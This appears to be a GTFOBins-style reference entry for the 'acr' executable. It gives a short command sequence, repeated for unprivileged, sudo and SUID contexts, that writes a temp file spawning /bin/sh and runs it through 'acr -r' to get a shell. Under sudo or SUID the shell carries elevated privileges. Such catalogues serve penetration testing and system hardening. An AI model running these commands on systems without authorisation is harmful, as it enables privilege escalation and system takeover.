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• Command

Command

This executable can run non-interactive system commands.

• Unprivileged

  This function can be performed by any unprivileged user.

  echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
  chmod +x /path/to/temp-file
  acr -r ./relative/path/to/temp-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
  chmod +x /path/to/temp-file
  acr -r ./relative/path/to/temp-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
  chmod +x /path/to/temp-file
  acr -r ./relative/path/to/temp-file

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